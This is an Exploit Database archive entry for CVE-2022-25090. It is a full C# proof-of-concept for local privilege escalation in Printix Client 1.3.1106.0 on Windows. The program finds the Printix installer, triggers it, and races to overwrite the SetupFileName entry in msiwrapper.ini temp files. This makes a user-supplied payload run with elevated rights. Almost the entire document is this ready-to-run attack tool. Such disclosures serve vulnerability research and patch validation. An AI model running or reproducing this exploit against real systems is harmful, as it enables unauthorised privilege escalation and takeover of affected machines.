CVE-2022-25090: Offensive Security’s Exploit Database Archive

# Exploit Title: Printix Client 1.3.1106.0 - Privilege Escalation
# Date: 3/2/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link:
https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25090
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25090

using System;
using System.Runtime.InteropServices;
using System.Drawing;

using System.Reflection;
using System.Threading;
using System.IO;
using System.Text;
using System.Resources;
using System.Diagnostics;

//Assembly COM for transparent creation of the application.

//End of Assembly COM For Transparent Creation usage.
public class Program
{
    //Initiator class for the program, the program starts on the main method.
    public static void Main(string[] args)
    {
        //Console.SetWindowSize(120,30);
        //Console.SetBufferSize(120,30);
        Console.ForegroundColor = ConsoleColor.Blue;
        Console.WriteLine("┌─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
        Console.WriteLine("├              oo dP                           dP                                ");
        Console.ForegroundColor = ConsoleColor.Red;
        Console.WriteLine("├                 88                           88                                ");
        Console.ForegroundColor = ConsoleColor.Green;
        Console.WriteLine("├              dP 88d888b. .d8888b. d888888b d8888P .d8888b. 88d8b.d8b. 88d888b. ");
        Console.ForegroundColor = ConsoleColor.Blue;
        Console.WriteLine("├              88 88'  `88 88'  `88    .d8P'   88   88ooood8 88'`88'`88 88'  `88 ");
        Console.ForegroundColor = ConsoleColor.Yellow;
        Console.WriteLine("├              88 88    88 88.  .88  .Y8P      88   88.  ... 88  88  88 88.  .88 ");
        Console.ForegroundColor = ConsoleColor.Magenta;
        Console.WriteLine("├              dP dP    dP `88888P8 d888888P   dP   `88888P' dP  dP  dP 88Y888P' ");
        Console.WriteLine("├                                                                       88       ");
        Console.WriteLine("├                                                                       dP       ");
        Console.ForegroundColor = ConsoleColor.Blue;
        Console.Write("├                                    For ");
        Console.ForegroundColor = ConsoleColor.Magenta;
        Console.Write("Printix ");
        Console.ForegroundColor = ConsoleColor.Blue;
        Console.Write("Services                       Designed By Logan Latvala\n");
        Console.WriteLine("└─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
        Thread.Sleep(3000);
        string filesH = "";
        Console.WriteLine("Drag and drop a payload onto this application for execution.");
        try
        {
            if (args[0]?.Length >0)
            {
                Console.WriteLine("File Added: " + args[0]);
            }
            
        }
        catch (Exception e)
        {
            Console.WriteLine("You\'re missing a file here, please ensure that you drag and drop a payload to execute.\n \n We'll print the error for you right here...\n \n");
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(e);
            Console.ReadLine();
            Environment.Exit(40);
        }


        Console.WriteLine("\n We're going to look for your printix installer, one moment...");
        string[] installerSearch = Directory.GetFiles(@"C:\windows\installer\", "*.msi", SearchOption.AllDirectories);

        double mCheck = 1.00;

        string trueInstaller = "";
        //Starts to enumerate window's installer directory for an author with the name of printix.
        foreach (string path in installerSearch)
        {
            Console.WriteLine("Searching Files: {0} / {1} Files", mCheck, installerSearch.Length);
            Console.WriteLine("Searching Files... " + (Math.Round((mCheck / installerSearch.Length) * 100)) + "% Done.");
            if (readFileProperties(path, "Printix"))
            {
                trueInstaller = path;
                Console.WriteLine("We've found your installer, we'll finish enumeration.");
                goto MGMA;
            }
            mCheck++;
        }
    //Flag for enumeration when the loop needs to exit, since it shouldn't loop infinitely.
    MGMA:
        if (trueInstaller == "")
        {
            Console.WriteLine("We can't find your installer, you are not vulnerable.");
            Thread.Sleep(2000);
            Environment.Exit(12);
        }
        Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
        Console.WriteLine("├ We are starting to enumerate your temporary directory.");
        Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");

        //Start a new thread here for enumeration.

        Thread t = new Thread(() => newTempThread(filesH, args));
        t.Start();



        Process.Start(trueInstaller);



        Console.WriteLine("All done.");
        Console.ReadLine();
    }
    public static void newTempThread(string filesH, string[] args)
    {
        while (true)
        {
            try
            {
                //Starts the inheriting process for printix, in which scans for the files and relays their contents.
                string[] files = Directory.GetFiles(@"C:\Users\" + Environment.UserName + @"\AppData\Local\Temp\", "msiwrapper.ini", SearchOption.AllDirectories);
                if (!string.IsNullOrEmpty(files[0]))
                {
                    foreach (string fl in files)
                    {
                        if (!filesH.Contains(fl))
                        {

                            //filesH += " " + fl;
                            string[] fileText = File.ReadAllLines(fl);
                            int linerc = 0;
                            foreach (string liners in fileText)
                            {

                                if (liners.Contains("SetupFileName"))
                                {

                                    //Most likely the temporary directory for setup, which presents it properly.
                                    Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
                                    Console.WriteLine("├ " + fl);
                                    fileText[linerc] = @"SetupFileName=" + "\"" + args[0] + "\"";
                                    Console.WriteLine("├ " + fileText[linerc] + "");
                                    Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
                                    Console.WriteLine("│");
                                    filesH += " " + fl;

                                    File.WriteAllText(fl, string.Empty);
                                    File.WriteAllLines(fl, fileText);
                                }
                                linerc++;
                            }
                        }
                    }
                }
            }
            catch (Exception e) { Console.WriteLine("There was an error, try re-running the program. \n" + e); Console.ReadLine(); }

            Thread.Sleep(20);
        }
    }
    public static bool readFileProperties(string file, string filter)
    {
        System.Diagnostics.Process process = new System.Diagnostics.Process();
        System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
        startInfo.UseShellExecute = false;
        startInfo.RedirectStandardOutput = true;
        startInfo.FileName = "CMD.exe";
        startInfo.Arguments = "/c PowerShell -Command \"$FilePath='" + file + "'; Write-Host ((New-Object -COMObject Shell.Application).NameSpace((Split-Path -Parent -Path $FilePath))).ParseName((Split-Path -Leaf -Path $FilePath)).ExtendedProperty('System.Author')\"";
        process.StartInfo = startInfo;
        process.Start();
        string output = process.StandardOutput.ReadToEnd();
        process.WaitForExit();
        if (output.Contains(filter)) { return true; }
        else { return false; }
        //wmic datafile where Name="F:\\ekojs.txt" get Description,Path,Status,Version
    }
}